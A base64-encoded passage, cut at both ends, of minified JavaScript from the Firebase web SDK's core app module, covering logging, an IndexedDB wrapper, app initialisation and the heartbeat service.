SUk9SLHNpbGVudDpJLlNJTEVOVH0sXz1JLklORk8sRT17W0kuREVCVUddOiJsb2ciLFtJLlZFUkJPU0VdOiJsb2ciLFtJLklORk9dOiJpbmZvIixbSS5XQVJOXToid2FybiIsW0kuRVJST1JdOiJlcnJvciJ9LEQ9KGUsdCwuLi5uKT0+e2lmKHQ8ZS5sb2dMZXZlbClyZXR1cm47KG5ldyBEYXRlKS50b0lTT1N0cmluZygpO2lmKCFFW3RdKXRocm93IG5ldyBFcnJvcihgQXR0ZW1wdGVkIHRvIGxvZyBhIG1lc3NhZ2Ugd2l0aCBhbiBpbnZhbGlkIGxvZ1R5cGUgKHZhbHVlOiAke3R9KWApfTtjb25zdCBDPShlLHQpPT50LnNvbWUoKHQ9PmUgaW5zdGFuY2VvZiB0KSk7bGV0IFQsQTtjb25zdCBPPW5ldyBXZWFrTWFwLE09bmV3IFdlYWtNYXAsaj1uZXcgV2Vha01hcCxOPW5ldyBXZWFrTWFwLFA9bmV3IFdlYWtNYXA7bGV0IEI9e2dldChlLHQsbil7aWYoZSBpbnN0YW5jZW9mIElEQlRyYW5zYWN0aW9uKXtpZigiZG9uZSI9PT10KXJldHVybiBNLmdldChlKTtpZigib2JqZWN0U3RvcmVOYW1lcyI9PT10KXJldHVybiBlLm9iamVjdFN0b3JlTmFtZXN8fGouZ2V0KGUpO2lmKCJzdG9yZSI9PT10KXJldHVybiBuLm9iamVjdFN0b3JlTmFtZXNbMV0/dm9pZCAwOm4ub2JqZWN0U3RvcmUobi5vYmplY3RTdG9yZU5hbWVzWzBdKX1yZXR1cm4gUihlW3RdKX0sc2V0OihlLHQsbik9PihlW3RdPW4sITApLGhhczooZSx0KT0+ZSBpbnN0YW5jZW9mIElEQlRyYW5zYWN0aW9uJiYoImRvbmUiPT09dHx8InN0b3JlIj09PXQpfHx0IGluIGV9O2Z1bmN0aW9uIEwoZSl7cmV0dXJuIGUhPT1JREJEYXRhYmFzZS5wcm90b3R5cGUudHJhbnNhY3Rpb258fCJvYmplY3RTdG9yZU5hbWVzImluIElEQlRyYW5zYWN0aW9uLnByb3RvdHlwZT8oQXx8KEE9W0lEQkN1cnNvci5wcm90b3R5cGUuYWR2YW5jZSxJREJDdXJzb3IucHJvdG90eXBlLmNvbnRpbnVlLElEQkN1cnNvci5wcm90b3R5cGUuY29udGludWVQcmltYXJ5S2V5XSkpLmluY2x1ZGVzKGUpP2Z1bmN0aW9uKC4uLnQpe3JldHVybiBlLmFwcGx5KHgodGhpcyksdCksUihPLmdldCh0aGlzKSl9OmZ1bmN0aW9uKC4uLnQpe3JldHVybiBSKGUuYXBwbHkoeCh0aGlzKSx0KSl9OmZ1bmN0aW9uKHQsLi4ubil7Y29uc3QgaT1lLmNhbGwoeCh0aGlzKSx0LC4uLm4pO3JldHVybiBqLnNldChpLHQuc29ydD90LnNvcnQoKTpbdF0pLFIoaSl9fWZ1bmN0aW9uICQoZSl7cmV0dXJuImZ1bmN0aW9uIj09dHlwZW9mIGU/TChlKTooZSBpbnN0YW5jZW9mIElEQlRyYW5zYWN0aW9uJiZmdW5jdGlvbihlKXtpZihNLmhhcyhlKSlyZXR1cm47Y29uc3QgdD1uZXcgUHJvbWlzZSgoKHQsbik9Pntjb25zdCBpPSgpPT57ZS5yZW1vdmVFdmVudExpc3RlbmVyKCJjb21wbGV0ZSIsciksZS5yZW1vdmVFdmVudExpc3RlbmVyKCJlcnJvciIsYSksZS5yZW1vdmVFdmVudExpc3RlbmVyKCJhYm9ydCIsYSl9LHI9KCk9Pnt0KCksaSgpfSxhPSgpPT57bihlLmVycm9yfHxuZXcgRE9NRXhjZXB0aW9uKCJBYm9ydEVycm9yIiwiQWJvcnRFcnJvciIpKSxpKCl9O2UuYWRkRXZlbnRMaXN0ZW5lcigiY29tcGxldGUiLHIpLGUuYWRkRXZlbnRMaXN0ZW5lcigiZXJyb3IiLGEpLGUuYWRkRXZlbnRMaXN0ZW5lcigiYWJvcnQiLGEpfSkpO00uc2V0KGUsdCl9KGUpLEMoZSxUfHwoVD1bSURCRGF0YWJhc2UsSURCT2JqZWN0U3RvcmUsSURCSW5kZXgsSURCQ3Vyc29yLElEQlRyYW5zYWN0aW9uXSkpP25ldyBQcm94eShlLEIpOmUpfWZ1bmN0aW9uIFIoZSl7aWYoZSBpbnN0YW5jZW9mIElEQlJlcXVlc3QpcmV0dXJuIGZ1bmN0aW9uKGUpe2NvbnN0IHQ9bmV3IFByb21pc2UoKCh0LG4pPT57Y29uc3QgaT0oKT0+e2UucmVtb3ZlRXZlbnRMaXN0ZW5lcigic3VjY2VzcyIsciksZS5yZW1vdmVFdmVudExpc3RlbmVyKCJlcnJvciIsYSl9LHI9KCk9Pnt0KFIoZS5yZXN1bHQpKSxpKCl9LGE9KCk9PntuKGUuZXJyb3IpLGkoKX07ZS5hZGRFdmVudExpc3RlbmVyKCJzdWNjZXNzIixyKSxlLmFkZEV2ZW50TGlzdGVuZXIoImVycm9yIixhKX0pKTtyZXR1cm4gdC50aGVuKCh0PT57dCBpbnN0YW5jZW9mIElEQkN1cnNvciYmTy5zZXQodCxlKX0pKS5jYXRjaCgoKCk9Pnt9KSksUC5zZXQodCxlKSx0fShlKTtpZihOLmhhcyhlKSlyZXR1cm4gTi5nZXQoZSk7Y29uc3QgdD0kKGUpO3JldHVybiB0IT09ZSYmKE4uc2V0KGUsdCksUC5zZXQodCxlKSksdH1jb25zdCB4PWU9PlAuZ2V0KGUpO2NvbnN0IEs9WyJnZXQiLCJnZXRLZXkiLCJnZXRBbGwiLCJnZXRBbGxLZXlzIiwiY291bnQiXSxIPVsicHV0IiwiYWRkIiwiZGVsZXRlIiwiY2xlYXIiXSxGPW5ldyBNYXA7ZnVuY3Rpb24gVyhlLHQpe2lmKCEoZSBpbnN0YW5jZW9mIElEQkRhdGFiYXNlKXx8dCBpbiBlfHwic3RyaW5nIiE9dHlwZW9mIHQpcmV0dXJuO2lmKEYuZ2V0KHQpKXJldHVybiBGLmdldCh0KTtjb25zdCBuPXQucmVwbGFjZSgvRnJvbUluZGV4JC8sIiIpLGk9dCE9PW4scj1ILmluY2x1ZGVzKG4pO2lmKCEobiBpbihpP0lEQkluZGV4OklEQk9iamVjdFN0b3JlKS5wcm90b3R5cGUpfHwhciYmIUsuaW5jbHVkZXMobikpcmV0dXJuO2NvbnN0IGE9YXN5bmMgZnVuY3Rpb24oZSwuLi50KXtjb25zdCBhPXRoaXMudHJhbnNhY3Rpb24oZSxyPyJyZWFkd3JpdGUiOiJyZWFkb25seSIpO2xldCBvPWEuc3RvcmU7cmV0dXJuIGkmJihvPW8uaW5kZXgodC5zaGlmdCgpKSksKGF3YWl0IFByb21pc2UuYWxsKFtvW25dKC4uLnQpLHImJmEuZG9uZV0pKVswXX07cmV0dXJuIEYuc2V0KHQsYSksYX1CPShlPT4oey4uLmUsZ2V0Oih0LG4saSk9PlcodCxuKXx8ZS5nZXQodCxuLGkpLGhhczoodCxuKT0+ISFXKHQsbil8fGUuaGFzKHQsbil9KSkoQik7Y2xhc3MgVntjb25zdHJ1Y3RvcihlKXt0aGlzLmNvbnRhaW5lcj1lfWdldFBsYXRmb3JtSW5mb1N0cmluZygpe3JldHVybiB0aGlzLmNvbnRhaW5lci5nZXRQcm92aWRlcnMoKS5tYXAoKGU9PntpZihmdW5jdGlvbihlKXtjb25zdCB0PWUuZ2V0Q29tcG9uZW50KCk7cmV0dXJuIlZFUlNJT04iPT09KG51bGw9PXQ/dm9pZCAwOnQudHlwZSl9KGUpKXtjb25zdCB0PWUuZ2V0SW1tZWRpYXRlKCk7cmV0dXJuYCR7dC5saWJyYXJ5fS8ke3QudmVyc2lvbn1gfXJldHVybiBudWxsfSkpLmZpbHRlcigoZT0+ZSkpLmpvaW4oIiAiKX19Y29uc3QgVT0iQGZpcmViYXNlL2FwcCIsej0iMC45LjE1IixxPW5ldyBjbGFzc3tjb25zdHJ1Y3RvcihlKXt0aGlzLm5hbWU9ZSx0aGlzLl9sb2dMZXZlbD1fLHRoaXMuX2xvZ0hhbmRsZXI9RCx0aGlzLl91c2VyTG9nSGFuZGxlcj1udWxsfWdldCBsb2dMZXZlbCgpe3JldHVybiB0aGlzLl9sb2dMZXZlbH1zZXQgbG9nTGV2ZWwoZSl7aWYoIShlIGluIEkpKXRocm93IG5ldyBUeXBlRXJyb3IoYEludmFsaWQgdmFsdWUgIiR7ZX0iIGFzc2lnbmVkIHRvIFxgbG9nTGV2ZWxcYGApO3RoaXMuX2xvZ0xldmVsPWV9c2V0TG9nTGV2ZWwoZSl7dGhpcy5fbG9nTGV2ZWw9InN0cmluZyI9PXR5cGVvZiBlP2tbZV06ZX1nZXQgbG9nSGFuZGxlcigpe3JldHVybiB0aGlzLl9sb2dIYW5kbGVyfXNldCBsb2dIYW5kbGVyKGUpe2lmKCJmdW5jdGlvbiIhPXR5cGVvZiBlKXRocm93IG5ldyBUeXBlRXJyb3IoIlZhbHVlIGFzc2lnbmVkIHRvIGBsb2dIYW5kbGVyYCBtdXN0IGJlIGEgZnVuY3Rpb24iKTt0aGlzLl9sb2dIYW5kbGVyPWV9Z2V0IHVzZXJMb2dIYW5kbGVyKCl7cmV0dXJuIHRoaXMuX3VzZXJMb2dIYW5kbGVyfXNldCB1c2VyTG9nSGFuZGxlcihlKXt0aGlzLl91c2VyTG9nSGFuZGxlcj1lfWRlYnVnKC4uLmUpe3RoaXMuX3VzZXJMb2dIYW5kbGVyJiZ0aGlzLl91c2VyTG9nSGFuZGxlcih0aGlzLEkuREVCVUcsLi4uZSksdGhpcy5fbG9nSGFuZGxlcih0aGlzLEkuREVCVUcsLi4uZSl9bG9nKC4uLmUpe3RoaXMuX3VzZXJMb2dIYW5kbGVyJiZ0aGlzLl91c2VyTG9nSGFuZGxlcih0aGlzLEkuVkVSQk9TRSwuLi5lKSx0aGlzLl9sb2dIYW5kbGVyKHRoaXMsSS5WRVJCT1NFLC4uLmUpfWluZm8oLi4uZSl7dGhpcy5fdXNlckxvZ0hhbmRsZXImJnRoaXMuX3VzZXJMb2dIYW5kbGVyKHRoaXMsSS5JTkZPLC4uLmUpLHRoaXMuX2xvZ0hhbmRsZXIodGhpcyxJLklORk8sLi4uZSl9d2FybiguLi5lKXt0aGlzLl91c2VyTG9nSGFuZGxlciYmdGhpcy5fdXNlckxvZ0hhbmRsZXIodGhpcyxJLldBUk4sLi4uZSksdGhpcy5fbG9nSGFuZGxlcih0aGlzLEkuV0FSTiwuLi5lKX1lcnJvciguLi5lKXt0aGlzLl91c2VyTG9nSGFuZGxlciYmdGhpcy5fdXNlckxvZ0hhbmRsZXIodGhpcyxJLkVSUk9SLC4uLmUpLHRoaXMuX2xvZ0hhbmRsZXIodGhpcyxJLkVSUk9SLC4uLmUpfX0oIkBmaXJlYmFzZS9hcHAiKSxHPSJbREVGQVVMVF0iLEo9e1tVXToiZmlyZS1jb3JlIiwiQGZpcmViYXNlL2FwcC1jb21wYXQiOiJmaXJlLWNvcmUtY29tcGF0IiwiQGZpcmViYXNlL2FuYWx5dGljcyI6ImZpcmUtYW5hbHl0aWNzIiwiQGZpcmViYXNlL2FuYWx5dGljcy1jb21wYXQiOiJmaXJlLWFuYWx5dGljcy1jb21wYXQiLCJAZmlyZWJhc2UvYXBwLWNoZWNrIjoiZmlyZS1hcHAtY2hlY2siLCJAZmlyZWJhc2UvYXBwLWNoZWNrLWNvbXBhdCI6ImZpcmUtYXBwLWNoZWNrLWNvbXBhdCIsIkBmaXJlYmFzZS9hdXRoIjoiZmlyZS1hdXRoIiwiQGZpcmViYXNlL2F1dGgtY29tcGF0IjoiZmlyZS1hdXRoLWNvbXBhdCIsIkBmaXJlYmFzZS9kYXRhYmFzZSI6ImZpcmUtcnRkYiIsIkBmaXJlYmFzZS9kYXRhYmFzZS1jb21wYXQiOiJmaXJlLXJ0ZGItY29tcGF0IiwiQGZpcmViYXNlL2Z1bmN0aW9ucyI6ImZpcmUtZm4iLCJAZmlyZWJhc2UvZnVuY3Rpb25zLWNvbXBhdCI6ImZpcmUtZm4tY29tcGF0IiwiQGZpcmViYXNlL2luc3RhbGxhdGlvbnMiOiJmaXJlLWlpZCIsIkBmaXJlYmFzZS9pbnN0YWxsYXRpb25zLWNvbXBhdCI6ImZpcmUtaWlkLWNvbXBhdCIsIkBmaXJlYmFzZS9tZXNzYWdpbmciOiJmaXJlLWZjbSIsIkBmaXJlYmFzZS9tZXNzYWdpbmctY29tcGF0IjoiZmlyZS1mY20tY29tcGF0IiwiQGZpcmViYXNlL3BlcmZvcm1hbmNlIjoiZmlyZS1wZXJmIiwiQGZpcmViYXNlL3BlcmZvcm1hbmNlLWNvbXBhdCI6ImZpcmUtcGVyZi1jb21wYXQiLCJAZmlyZWJhc2UvcmVtb3RlLWNvbmZpZyI6ImZpcmUtcmMiLCJAZmlyZWJhc2UvcmVtb3RlLWNvbmZpZy1jb21wYXQiOiJmaXJlLXJjLWNvbXBhdCIsIkBmaXJlYmFzZS9zdG9yYWdlIjoiZmlyZS1nY3MiLCJAZmlyZWJhc2Uvc3RvcmFnZS1jb21wYXQiOiJmaXJlLWdjcy1jb21wYXQiLCJAZmlyZWJhc2UvZmlyZXN0b3JlIjoiZmlyZS1mc3QiLCJAZmlyZWJhc2UvZmlyZXN0b3JlLWNvbXBhdCI6ImZpcmUtZnN0LWNvbXBhdCIsImZpcmUtanMiOiJmaXJlLWpzIixmaXJlYmFzZToiZmlyZS1qcy1hbGwifSxZPW5ldyBNYXAsUT1uZXcgTWFwO2Z1bmN0aW9uIFgoZSx0KXt0cnl7ZS5jb250YWluZXIuYWRkQ29tcG9uZW50KHQpfWNhdGNoKG4pe3EuZGVidWcoYENvbXBvbmVudCAke3QubmFtZX0gZmFpbGVkIHRvIHJlZ2lzdGVyIHdpdGggRmlyZWJhc2VBcHAgJHtlLm5hbWV9YCxuKX19ZnVuY3Rpb24gWihlKXtjb25zdCB0PWUubmFtZTtpZihRLmhhcyh0KSlyZXR1cm4gcS5kZWJ1ZyhgVGhlcmUgd2VyZSBtdWx0aXBsZSBhdHRlbXB0cyB0byByZWdpc3RlciBjb21wb25lbnQgJHt0fS5gKSwhMTtRLnNldCh0LGUpO2Zvcihjb25zdCBuIG9mIFkudmFsdWVzKCkpWChuLGUpO3JldHVybiEwfWZ1bmN0aW9uIGVlKGUsdCl7Y29uc3Qgbj1lLmNvbnRhaW5lci5nZXRQcm92aWRlcigiaGVhcnRiZWF0IikuZ2V0SW1tZWRpYXRlKHtvcHRpb25hbDohMH0pO3JldHVybiBuJiZuLnRyaWdnZXJIZWFydGJlYXQoKSxlLmNvbnRhaW5lci5nZXRQcm92aWRlcih0KX1jb25zdCB0ZT1uZXcgcCgiYXBwIiwiRmlyZWJhc2UiLHsibm8tYXBwIjoiTm8gRmlyZWJhc2UgQXBwICd7JGFwcE5hbWV9JyBoYXMgYmVlbiBjcmVhdGVkIC0gY2FsbCBpbml0aWFsaXplQXBwKCkgZmlyc3QiLCJiYWQtYXBwLW5hbWUiOiJJbGxlZ2FsIEFwcCBuYW1lOiAneyRhcHBOYW1lfSIsImR1cGxpY2F0ZS1hcHAiOiJGaXJlYmFzZSBBcHAgbmFtZWQgJ3skYXBwTmFtZX0nIGFscmVhZHkgZXhpc3RzIHdpdGggZGlmZmVyZW50IG9wdGlvbnMgb3IgY29uZmlnIiwiYXBwLWRlbGV0ZWQiOiJGaXJlYmFzZSBBcHAgbmFtZWQgJ3skYXBwTmFtZX0nIGFscmVhZHkgZGVsZXRlZCIsIm5vLW9wdGlvbnMiOiJOZWVkIHRvIHByb3ZpZGUgb3B0aW9ucywgd2hlbiBub3QgYmVpbmcgZGVwbG95ZWQgdG8gaG9zdGluZyB2aWEgc291cmNlLiIsImludmFsaWQtYXBwLWFyZ3VtZW50IjoiZmlyZWJhc2UueyRhcHBOYW1lfSgpIHRha2VzIGVpdGhlciBubyBhcmd1bWVudCBvciBhIEZpcmViYXNlIEFwcCBpbnN0YW5jZS4iLCJpbnZhbGlkLWxvZy1hcmd1bWVudCI6IkZpcnN0IGFyZ3VtZW50IHRvIGBvbkxvZ2AgbXVzdCBiZSBudWxsIG9yIGEgZnVuY3Rpb24uIiwiaWRiLW9wZW4iOiJFcnJvciB0aHJvd24gd2hlbiBvcGVuaW5nIEluZGV4ZWREQi4gT3JpZ2luYWwgZXJyb3I6IHskb3JpZ2luYWxFcnJvck1lc3NhZ2V9LiIsImlkYi1nZXQiOiJFcnJvciB0aHJvd24gd2hlbiByZWFkaW5nIGZyb20gSW5kZXhlZERCLiBPcmlnaW5hbCBlcnJvcjogeyRvcmlnaW5hbEVycm9yTWVzc2FnZX0uIiwiaWRiLXNldCI6IkVycm9yIHRocm93biB3aGVuIHdyaXRpbmcgdG8gSW5kZXhlZERCLiBPcmlnaW5hbCBlcnJvcjogeyRvcmlnaW5hbEVycm9yTWVzc2FnZX0uIiwiaWRiLWRlbGV0ZSI6IkVycm9yIHRocm93biB3aGVuIGRlbGV0aW5nIGZyb20gSW5kZXhlZERCLiBPcmlnaW5hbCBlcnJvcjogeyRvcmlnaW5hbEVycm9yTWVzc2FnZX0uIn0pO2NsYXNzIG5le2NvbnN0cnVjdG9yKGUsdCxuKXt0aGlzLl9pc0RlbGV0ZWQ9ITEsdGhpcy5fb3B0aW9ucz1PYmplY3QuYXNzaWduKHt9LGUpLHRoaXMuX2NvbmZpZz1PYmplY3QuYXNzaWduKHt9LHQpLHRoaXMuX25hbWU9dC5uYW1lLHRoaXMuX2F1dG9tYXRpY0RhdGFDb2xsZWN0aW9uRW5hYmxlZD10LmF1dG9tYXRpY0RhdGFDb2xsZWN0aW9uRW5hYmxlZCx0aGlzLl9jb250YWluZXI9bix0aGlzLmNvbnRhaW5lci5hZGRDb21wb25lbnQobmV3IGIoImFwcCIsKCgpPT50aGlzKSwiUFVCTElDIikpfWdldCBhdXRvbWF0aWNEYXRhQ29sbGVjdGlvbkVuYWJsZWQoKXtyZXR1cm4gdGhpcy5jaGVja0Rlc3Ryb3llZCgpLHRoaXMuX2F1dG9tYXRpY0RhdGFDb2xsZWN0aW9uRW5hYmxlZH1zZXQgYXV0b21hdGljRGF0YUNvbGxlY3Rpb25FbmFibGVkKGUpe3RoaXMuY2hlY2tEZXN0cm95ZWQoKSx0aGlzLl9hdXRvbWF0aWNEYXRhQ29sbGVjdGlvbkVuYWJsZWQ9ZX1nZXQgbmFtZSgpe3JldHVybiB0aGlzLmNoZWNrRGVzdHJveWVkKCksdGhpcy5fbmFtZX1nZXQgb3B0aW9ucygpe3JldHVybiB0aGlzLmNoZWNrRGVzdHJveWVkKCksdGhpcy5fb3B0aW9uc31nZXQgY29uZmlnKCl7cmV0dXJuIHRoaXMuY2hlY2tEZXN0cm95ZWQoKSx0aGlzLl9jb25maWd9Z2V0IGNvbnRhaW5lcigpe3JldHVybiB0aGlzLl9jb250YWluZXJ9Z2V0IGlzRGVsZXRlZCgpe3JldHVybiB0aGlzLl9pc0RlbGV0ZWR9c2V0IGlzRGVsZXRlZChlKXt0aGlzLl9pc0RlbGV0ZWQ9ZX1jaGVja0Rlc3Ryb3llZCgpe2lmKHRoaXMuaXNEZWxldGVkKXRocm93IHRlLmNyZWF0ZSgiYXBwLWRlbGV0ZWQiLHthcHBOYW1lOnRoaXMuX25hbWV9KX19ZnVuY3Rpb24gaWUoZSx0PXt9KXtsZXQgbj1lO2lmKCJvYmplY3QiIT10eXBlb2YgdCl7dD17bmFtZTp0fX1jb25zdCBpPU9iamVjdC5hc3NpZ24oe25hbWU6RyxhdXRvbWF0aWNEYXRhQ29sbGVjdGlvbkVuYWJsZWQ6ITF9LHQpLHI9aS5uYW1lO2lmKCJzdHJpbmciIT10eXBlb2Ygcnx8IXIpdGhyb3cgdGUuY3JlYXRlKCJiYWQtYXBwLW5hbWUiLHthcHBOYW1lOlN0cmluZyhyKX0pO2lmKG58fChuPXMoKSksIW4pdGhyb3cgdGUuY3JlYXRlKCJuby1vcHRpb25zIik7Y29uc3QgYT1ZLmdldChyKTtpZihhKXtpZihoKG4sYS5vcHRpb25zKSYmaChpLGEuY29uZmlnKSlyZXR1cm4gYTt0aHJvdyB0ZS5jcmVhdGUoImR1cGxpY2F0ZS1hcHAiLHthcHBOYW1lOnJ9KX1jb25zdCBvPW5ldyB2KHIpO2Zvcihjb25zdCBzIG9mIFEudmFsdWVzKCkpby5hZGRDb21wb25lbnQocyk7Y29uc3QgYz1uZXcgbmUobixpLG8pO3JldHVybiBZLnNldChyLGMpLGN9ZnVuY3Rpb24gcmUoZSx0LG4pe3ZhciBpO2xldCByPW51bGwhPT0oaT1KW2VdKSYmdm9pZCAwIT09aT9pOmU7biYmKHIrPWAtJHtufWApO2NvbnN0IGE9ci5tYXRjaCgvXHN8XC8vKSxvPXQubWF0Y2goL1xzfFwvLyk7aWYoYXx8byl7Y29uc3QgZT1bYFVuYWJsZSB0byByZWdpc3RlciBsaWJyYXJ5ICIke3J9IiB3aXRoIHZlcnNpb24gIiR7dH0iOmBdO3JldHVybiBhJiZlLnB1c2goYGxpYnJhcnkgbmFtZSAiJHtyfSIgY29udGFpbnMgaWxsZWdhbCBjaGFyYWN0ZXJzICh3aGl0ZXNwYWNlIG9yICIvIilgKSxhJiZvJiZlLnB1c2goImFuZCIpLG8mJmUucHVzaChgdmVyc2lvbiBuYW1lICIke3R9IiBjb250YWlucyBpbGxlZ2FsIGNoYXJhY3RlcnMgKHdoaXRlc3BhY2Ugb3IgIi8iKWApLHZvaWQgcS53YXJuKGUuam9pbigiICIpKX1aKG5ldyBiKGAke3J9LXZlcnNpb25gLCgoKT0+KHtsaWJyYXJ5OnIsdmVyc2lvbjp0fSkpLCJWRVJTSU9OIikpfWNvbnN0IGFlPSJmaXJlYmFzZS1oZWFydGJlYXQtZGF0YWJhc2UiLG9lPTEsc2U9ImZpcmViYXNlLWhlYXJ0YmVhdC1zdG9yZSI7bGV0IGNlPW51bGw7ZnVuY3Rpb24gdWUoKXtyZXR1cm4gY2V8fChjZT1mdW5jdGlvbihlLHQse2Jsb2NrZWQ6bix1cGdyYWRlOmksYmxvY2tpbmc6cix0ZXJtaW5hdGVkOmF9PXt9KXtjb25zdCBvPWluZGV4ZWREQi5vcGVuKGUsdCkscz1SKG8pO3JldHVybiBpJiZvLmFkZEV2ZW50TGlzdGVuZXIoInVwZ3JhZGVuZWVkZWQiLChlPT57aShSKG8ucmVzdWx0KSxlLm9sZFZlcnNpb24sZS5uZXdWZXJzaW9uLFIoby50cmFuc2FjdGlvbiksZSl9KSksbiYmby5hZGRFdmVudExpc3RlbmVyKCJibG9ja2VkIiwoZT0+bihlLm9sZFZlcnNpb24sZS5uZXdWZXJzaW9uLGUpKSkscy50aGVuKChlPT57YSYmZS5hZGRFdmVudExpc3RlbmVyKCJjbG9zZSIsKCgpPT5hKCkpKSxyJiZlLmFkZEV2ZW50TGlzdGVuZXIoInZlcnNpb25jaGFuZ2UiLChlPT5yKGUub2xkVmVyc2lvbixlLm5ld1ZlcnNpb24sZSkpKX0pKS5jYXRjaCgoKCk9Pnt9KSksc30oYWUsb2Use3VwZ3JhZGU6KGUsdCk9PntpZigwPT09dCllLmNyZWF0ZU9iamVjdFN0b3JlKHNlKX19KS5jYXRjaCgoZT0+e3Rocm93IHRlLmNyZWF0ZSgiaWRiLW9wZW4iLHtvcmlnaW5hbEVycm9yTWVzc2FnZTplLm1lc3NhZ2V9KX0pKSksY2V9YXN5bmMgZnVuY3Rpb24gZGUoZSx0KXt0cnl7Y29uc3Qgbj0oYXdhaXQgdWUoKSkudHJhbnNhY3Rpb24oc2UsInJlYWR3cml0ZSIpLGk9bi5vYmplY3RTdG9yZShzZSk7YXdhaXQgaS5wdXQodCxsZShlKSksYXdhaXQgbi5kb25lfWNhdGNoKG4pe2lmKG4gaW5zdGFuY2VvZiBsKXEud2FybihuLm1lc3NhZ2UpO2Vsc2V7Y29uc3QgZT10ZS5jcmVhdGUoImlkYi1zZXQiLHtvcmlnaW5hbEVycm9yTWVzc2FnZTpudWxsPT1uP3ZvaWQgMDpuLm1lc3NhZ2V9KTtxLndhcm4oZS5tZXNzYWdlKX19fWZ1bmN0aW9uIGxlKGUpe3JldHVybmAke2UubmFtZX0hJHtlLm9wdGlvbnMuYXBwSWR9YH1jbGFzcyBwZXtjb25zdHJ1Y3RvcihlKXt0aGlzLmNvbnRhaW5lcj1lLHRoaXMuX2hlYXJ0YmVhdHNDYWNoZT1udWxsO2NvbnN0IHQ9dGhpcy5jb250YWluZXIuZ2V0UHJvdmlkZXIoImFwcCIpLmdldEltbWVkaWF0ZSgpO3RoaXMuX3N0b3JhZ2U9bmV3IGhlKHQpLHRoaXMuX2hlYXJ0YmVhdHNDYWNoZVByb21pc2U9dGhpcy5fc3RvcmFnZS5yZWFkKCkudGhlbigoZT0+KHRoaXMuX2hlYXJ0YmVhdHNDYWNoZT1lLGUpKSl9YXN5bmMgdHJpZ2dlckhlYXJ0YmVhdCgpe2NvbnN0IGU9dGhpcy5jb250YWluZXIuZ2V0UHJvdmlkZXIoInBsYXRmb3JtLWxvZ2dlciIpLmdldEltbWVkaWF0ZSgpLmdldFBsYXRmb3JtSW5mb1N0cmluZygpLHQ9ZmUoKTtpZihudWxsPT09dGhpcy5faGVhcnRiZWF0c0NhY2hlJiYodGhpcy5faGVhcnRiZWF0c0NhY2hlPWF3YWl0IHRoaXMuX2hlYXJ0YmVhdHNDYWNoZVByb21pc2UpLHRoaXMuX2hlYXJ0YmVhdHNDYWNoZS5sYXN0U2VudEhlYXJ0YmVhdERhdGUhPT10JiYhdGhpcy5faGVhcnRiZWF0c0NhY2hlLmhlYXJ0YmVhdHMuc29tZSgoZT0+ZS5kYXRlPT09dCkpKXJldHVybiB0aGlzLl9oZWFydGJlYXRzQ2FjaGUuaGVhcnRiZWF0cy5wdXNoKHtkYXRlOnQsYWdlbnQ6ZX0pLHRoaXMuX2hlYXJ0YmVhdHNDYWNoZS5oZWFydGJlYXRzPXRoaXMuX2hlYXJ0YmVhdHNDYWNoZS5oZWFydGJlYXRzLmZpbHRlcigoZT0+e2NvbnN0IHQ9bmV3IERhdGUoZS5kYXRlKS52YWx1ZU9mKCk7cmV0dXJuIERhdGUubm93KCktdDw9MjU5MmU2fSkpLHRoaXMuX3N0b3JhZ2Uub3ZlcndyaXRlKHRoaXMuX2hlYXJ0YmVhdHNDYWNoZSl9YXN5bmMgZ2V0SGVhcnRiZWF0c0hlYWRlcigpe2lmKG51bGw9PT10aGlzLl9oZWFydGJlYXRzQ2FjaGUmJmF3YWl0IHRoaXMuX2hlYXJ0YmVhdHNDYWNoZVByb21pc2UsbnVsbD09PXRoaXMuX2hlYXJ0YmVhdHNDYWNoZXx8MD09PXRoaXMuX2hlYXJ0YmVhdHNDYWNoZS5oZWFydGJlYXRzLmxlbmd0aClyZXR1cm4iIjtjb25zdCBlPWZlKCkse2hlYXJ0YmVhdHNUb1NlbmQ6dCx1bnNlbnRFbnRyaWVzOm59PWZ1bmN0aW9uKGUsdD0xMDI0KXtjb25zdCBuPVtdO2xldCBpPWUuc2xpY2UoKTtmb3IoY29uc3QgciBvZiBlKXtjb25zdCBlPW4uZmluZCgoZT0+ZS5hZ2VudD09PXIuYWdlbnQpKTtpZihlKXtpZihlLmRhdGVzLnB1c2goci5kYXRlKSxnZShuKT50KXtlLmRhdGVzLnBvcCgpO2JyZWFrfX1lbHNlIGlmKG4ucHVzaCh7YWdlbnQ6ci5hZ2VudCxkYXRlczpbci5kYXRlXX0pLGdlKG4pPnQpe24ucG9wKCk7YnJlYWt9aT1pLnNsaWNlKDEpfXJldHVybntoZWFydGJlYXRzVG9TZW5kOm4sdW5zZW50RW50cmllczppfX0odGhpcy5faGVhcnRiZWF0c0NhY2hlLmhlYXJ0YmVhdHMpLHI9aShKU09OLnN0cmluZ2lmeSh7dmVyc2lvbjoyLGhlYXJ0YmVhdHM6dH0pKTtyZXR1cm4gdGhpcy5faGVhcnRiZWF0c0NhY2hlLmxhc3RTZW50SGVhcnRiZWF0RGF0ZT1lLG4ubGVuZ3RoPjA/KHRoaXMuX2hlYXJ0YmVhdHNDYWNoZS5oZWFydGJlYXRzPW4sYXdhaXQgdGhpcy5fc3RvcmFnZS5vdmVyd3JpdGUodGhpcy5faGVhcnRiZWF0c0NhY2hlKSk6KHRoaXMuX2hlYXJ0YmVhdHNDYWNoZS5oZWFydGJlYXRzPVtdLHRoaXMuX3N0b3JhZ2Uub3ZlcndyaXRlKHRoaXMuX2hlYXJ0YmVhdHNDYWNoZSkpLHJ9fWZ1bmN0aW9uIGZlKCl7cmV0dXJuKG5ldyBEYXRlKS50b0lTT1N0cmluZygpLnN1YnN0cmluZygwLDEwKX1jbGFzcyBoZXtjb25zdHJ1Y3RvcihlKXt0aGlzLmFwcD1lLHRoaXMuX2NhblVzZUluZGV4ZWREQlByb21pc2U9dGhpcy5ydW5JbmRleGVkREJFbnZpcm9ubWVudENoZWNrKCl9YXN5bmMgcnVuSW5kZXhlZERCRW52aXJvbm1lbnRDaGVjaygpe3JldHVybiEhdSgpJiZkKCkudGhlbigoKCk9PiEwKSkuY2F0Y2goKCgpPT4hMSkpfWFzeW5jIHJlYWQoKXtpZihhd2FpdCB0aGlzLl9jYW5Vc2VJbmRleGVkREJQcm9taXNlKXtyZXR1cm4gYXdhaXQgYXN5bmMgZnVuY3Rpb24oZSl7dHJ5e2NvbnN0IHQ9YXdhaXQgdWUoKTtyZXR1cm4gYXdhaXQgdC50cmFuc2FjdGlvbihzZSkub2JqZWN0U3RvcmUoc2UpLmdldChsZShlKSl9Y2F0Y2godCl7aWYodCBpbnN0YW5jZW9mIGwpcS53YXJuKHQubWVzc2FnZSk7ZWxzZXtjb25zdCBlP